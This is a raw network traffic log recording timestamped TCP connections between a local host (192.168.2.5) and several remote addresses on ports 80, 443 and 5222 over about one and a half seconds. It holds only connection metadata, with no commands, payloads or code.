Sep 30, 2024 12:20:38.242444038 CEST	49724	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.247747898 CEST	80	49724	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.247807026 CEST	49724	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.254605055 CEST	80	49724	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.271395922 CEST	443	49720	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.272778988 CEST	80	49721	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.272790909 CEST	5222	49718	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.482431889 CEST	443	49717	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.482503891 CEST	49717	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.482522011 CEST	49717	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.551129103 CEST	5222	49715	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.551203966 CEST	49715	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.553172112 CEST	443	49719	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.553241014 CEST	49719	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.553260088 CEST	49719	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.586226940 CEST	443	49720	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.586289883 CEST	49720	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.586311102 CEST	49720	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.587327003 CEST	49723	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.587512016 CEST	49724	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.589607954 CEST	49722	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.598392963 CEST	49725	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.598414898 CEST	443	49725	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.598545074 CEST	49725	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.601057053 CEST	49725	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.601068020 CEST	443	49725	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.602925062 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.602948904 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.603044987 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.604748011 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.604779005 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.608903885 CEST	49727	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.612394094 CEST	49728	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.613826036 CEST	5222	49727	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.613888025 CEST	49727	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.614301920 CEST	49727	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.617182970 CEST	80	49728	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.617247105 CEST	49728	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.617508888 CEST	49728	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.619025946 CEST	5222	49727	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.622530937 CEST	80	49728	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.622575045 CEST	49728	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.627351999 CEST	80	49728	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.632937908 CEST	80	49724	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.632949114 CEST	5222	49723	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.635411978 CEST	443	49722	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.668157101 CEST	5222	49718	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.668482065 CEST	49718	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.680758953 CEST	443	49722	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.680829048 CEST	49722	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.680854082 CEST	49722	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.686630011 CEST	49727	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.686743975 CEST	49728	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.687621117 CEST	49725	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.690462112 CEST	49729	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.691099882 CEST	49730	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.691128969 CEST	443	49730	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.691186905 CEST	49730	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.692795038 CEST	49730	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.692821026 CEST	443	49730	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.694938898 CEST	49731	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.695585012 CEST	5222	49729	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.695709944 CEST	49729	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.695983887 CEST	49729	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.699810982 CEST	80	49731	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.699863911 CEST	49731	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.700097084 CEST	49731	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.700823069 CEST	5222	49729	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.702646017 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.704929113 CEST	80	49731	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.704976082 CEST	49731	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.709789038 CEST	80	49731	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.732837915 CEST	80	49728	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.732851028 CEST	5222	49727	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.735402107 CEST	443	49725	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.747409105 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.798538923 CEST	49729	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.798779011 CEST	49731	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.799540997 CEST	49730	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.803610086 CEST	49732	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.806186914 CEST	49733	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.807076931 CEST	49734	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.807107925 CEST	443	49734	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.807476997 CEST	49734	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.808424950 CEST	5222	49732	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.808499098 CEST	49732	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.808747053 CEST	49732	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.809428930 CEST	49734	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.809438944 CEST	443	49734	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.810997963 CEST	80	49733	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.811125040 CEST	49733	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.811367989 CEST	49733	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.813462019 CEST	5222	49732	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.816040039 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.816075087 CEST	80	49733	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.816080093 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.816128016 CEST	49733	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.816152096 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.817466974 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.817485094 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.820890903 CEST	80	49733	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.826375961 CEST	5222	49723	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.826459885 CEST	49723	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.843409061 CEST	443	49730	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.844832897 CEST	80	49731	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.844850063 CEST	5222	49729	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.861670017 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.865024090 CEST	49714	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.867427111 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.872303009 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.912853003 CEST	80	49714	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.930370092 CEST	49732	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.930958033 CEST	49733	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.932074070 CEST	49734	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.935758114 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.976815939 CEST	80	49733	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.976831913 CEST	5222	49732	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.978137970 CEST	49736	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.979402065 CEST	443	49734	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.979434013 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.980643988 CEST	49737	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.980683088 CEST	443	49737	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.980751991 CEST	49737	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.981966972 CEST	49737	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.981982946 CEST	443	49737	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.982969046 CEST	5222	49736	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.986978054 CEST	49736	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.011338949 CEST	49736	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.016222000 CEST	5222	49736	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.017977953 CEST	49738	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.023597956 CEST	80	49738	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.023703098 CEST	49738	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.024116039 CEST	49738	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.028940916 CEST	80	49738	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.029021025 CEST	49738	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.033899069 CEST	80	49738	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.042752028 CEST	49736	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.042934895 CEST	49738	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.044913054 CEST	49737	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.047805071 CEST	49739	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.052340031 CEST	49740	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.052408934 CEST	443	49740	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.052491903 CEST	49740	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.052615881 CEST	5222	49739	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.052674055 CEST	49739	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.053054094 CEST	49739	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.054440975 CEST	49740	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.054480076 CEST	443	49740	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.055547953 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.055565119 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.055773973 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.056224108 CEST	443	49725	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.056303978 CEST	49725	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.056317091 CEST	49725	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.057245970 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.057255030 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.057828903 CEST	5222	49739	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.058372974 CEST	49742	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.062922001 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.063019991 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.063093901 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.063174963 CEST	80	49742	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.063239098 CEST	49742	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.063559055 CEST	49742	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.068388939 CEST	80	49742	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.068490028 CEST	49742	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.073369026 CEST	80	49742	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.087405920 CEST	443	49737	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.088885069 CEST	80	49738	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.088897943 CEST	5222	49736	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.147401094 CEST	443	49730	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.147474051 CEST	49730	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.147512913 CEST	49730	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.152913094 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.160736084 CEST	49739	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.161127090 CEST	49742	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.161880970 CEST	49740	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.165266991 CEST	49743	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.166165113 CEST	49744	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.166193008 CEST	443	49744	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.166274071 CEST	49744	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.167809010 CEST	49744	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.167823076 CEST	443	49744	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.169311047 CEST	49745	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.170155048 CEST	5222	49743	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.170238972 CEST	49743	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.170505047 CEST	49743	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.172420025 CEST	5222	49727	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.172486067 CEST	49727	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.174021006 CEST	80	49745	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.174101114 CEST	49745	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.174312115 CEST	49745	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.175256968 CEST	5222	49743	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.179101944 CEST	80	49745	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.179153919 CEST	49745	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.184034109 CEST	80	49745	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.195410013 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.203435898 CEST	443	49740	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.208834887 CEST	80	49742	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.208848953 CEST	5222	49739	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.265414000 CEST	49743	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.265522957 CEST	49745	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.266505957 CEST	49744	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.267039061 CEST	5222	49729	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.267225027 CEST	49729	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.271518946 CEST	49746	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.272785902 CEST	49747	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.272830963 CEST	443	49747	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.272902966 CEST	49747	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.273221970 CEST	49748	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.273257971 CEST	443	49748	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.273312092 CEST	49748	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.274357080 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.274419069 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.274435043 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.275660992 CEST	49747	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.275690079 CEST	443	49747	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.275824070 CEST	49748	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.275839090 CEST	443	49748	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.276462078 CEST	5222	49746	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.276527882 CEST	49746	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.276850939 CEST	49746	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.278448105 CEST	49749	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.282838106 CEST	5222	49746	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.283236027 CEST	80	49749	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.283346891 CEST	49749	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.283570051 CEST	49749	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.285296917 CEST	443	49734	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.285362959 CEST	49734	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.285381079 CEST	49734	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.288295984 CEST	80	49749	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.288352966 CEST	49749	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.293162107 CEST	80	49749	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.307403088 CEST	443	49744	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.316862106 CEST	80	49745	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.316878080 CEST	5222	49743	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.364084959 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.377417088 CEST	49747	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.384848118 CEST	49746	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.385247946 CEST	49748	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.386625051 CEST	49749	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.389339924 CEST	5222	49732	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.389409065 CEST	49732	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.405816078 CEST	49750	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.405859947 CEST	443	49750	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.405970097 CEST	49750	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.408288002 CEST	49750	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.408312082 CEST	443	49750	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.409359932 CEST	49751	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.414421082 CEST	5222	49751	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.414499998 CEST	49751	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.414730072 CEST	49751	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.417574883 CEST	49752	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.419399023 CEST	443	49747	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.419655085 CEST	5222	49751	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.422652960 CEST	80	49752	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.422713995 CEST	49752	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.422909021 CEST	49752	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.428366899 CEST	80	49752	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.429318905 CEST	49752	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.431412935 CEST	443	49748	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.432853937 CEST	80	49749	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.432864904 CEST	5222	49746	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.434215069 CEST	80	49752	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.436064959 CEST	443	49737	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.436152935 CEST	49737	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.436177969 CEST	49737	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.439551115 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.444711924 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.483787060 CEST	49751	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.483971119 CEST	49752	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.484827042 CEST	49750	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.488226891 CEST	49753	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.488620043 CEST	49754	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.488683939 CEST	443	49754	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.488782883 CEST	49754	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.490325928 CEST	49754	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.490359068 CEST	443	49754	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.491631985 CEST	49755	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.491661072 CEST	443	49755	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.491825104 CEST	49755	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.493068933 CEST	49756	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.493091106 CEST	49755	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.493100882 CEST	443	49755	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.493109941 CEST	5222	49753	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.493184090 CEST	49753	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.493449926 CEST	49753	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.499912977 CEST	80	49756	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.499938011 CEST	5222	49753	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.500058889 CEST	49756	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.500327110 CEST	49756	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.506385088 CEST	80	49756	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.506458998 CEST	49756	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.512849092 CEST	443	49740	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.512936115 CEST	49740	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.512936115 CEST	49740	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.514216900 CEST	80	49756	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.527405977 CEST	443	49750	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.532830954 CEST	5222	49751	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.532845020 CEST	80	49752	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.533940077 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.534008980 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.534032106 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.539289951 CEST	5222	49736	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.539341927 CEST	49736	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.596065044 CEST	49755	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.601965904 CEST	49753	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.602328062 CEST	49754	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.603403091 CEST	49756	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.609472036 CEST	49757	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.611824989 CEST	5222	49739	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.612034082 CEST	49739	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.612704039 CEST	49758	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.612740040 CEST	443	49758	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.612852097 CEST	49758	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.614383936 CEST	5222	49757	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.614454031 CEST	49757	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.614763975 CEST	49757	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.615134001 CEST	49758	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.615151882 CEST	443	49758	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.619517088 CEST	5222	49757	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.621315002 CEST	49759	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.623497009 CEST	443	49744	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.623574972 CEST	49744	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.623590946 CEST	49744	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.626399040 CEST	80	49759	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.626483917 CEST	49759	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.626919031 CEST	49759	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.631705999 CEST	80	49759	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.631771088 CEST	49759	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.636548996 CEST	80	49759	103.78.229.139	192.168.2.5
